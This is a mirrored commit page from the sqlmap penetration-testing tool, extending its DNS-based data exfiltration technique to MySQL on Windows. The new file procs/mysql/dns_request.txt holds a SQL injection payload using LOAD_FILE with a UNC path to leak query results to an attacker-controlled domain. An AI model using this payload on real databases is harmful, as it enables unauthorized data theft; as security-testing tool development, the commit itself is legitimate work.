sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-29 04:53:48 +03:00
Code Issues Packages Projects Releases Wiki Activity

works against MySQL/Windows

Browse Source
This commit is contained in:
Miroslav Stampar 2012-04-04 12:49:45 +00:00
parent a1d97e9d7b
commit a4b95ab7dd
3 changed files with 7 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
lib/request/dns.py
View File

@ -95,6 +95,7 @@ class DNSServer:
thread.start() thread.start()
if __name__ == "__main__": if __name__ == "__main__":
server = None
try: try:
server = DNSServer() server = DNSServer()
server.run() server.run()
@ -118,4 +119,6 @@ if __name__ == "__main__":
except KeyboardInterrupt: except KeyboardInterrupt:
os._exit(0) os._exit(0)
finally: finally:
server._running = False if server:
server._running = False

4
lib/techniques/dns/use.py
View File

@ -52,7 +52,7 @@ def dnsUse(payload, expression):
count = 0 count = 0
offset = 1 offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL):
output = hashDBRetrieve(expression, checkConf=True) output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
@ -64,7 +64,7 @@ def dnsUse(payload, expression):
while True: while True:
count += 1 count += 1
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2)) prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2 chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)

1
procs/mysql/dns_request.txt Normal file
View File

@ -0,0 +1 @@
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))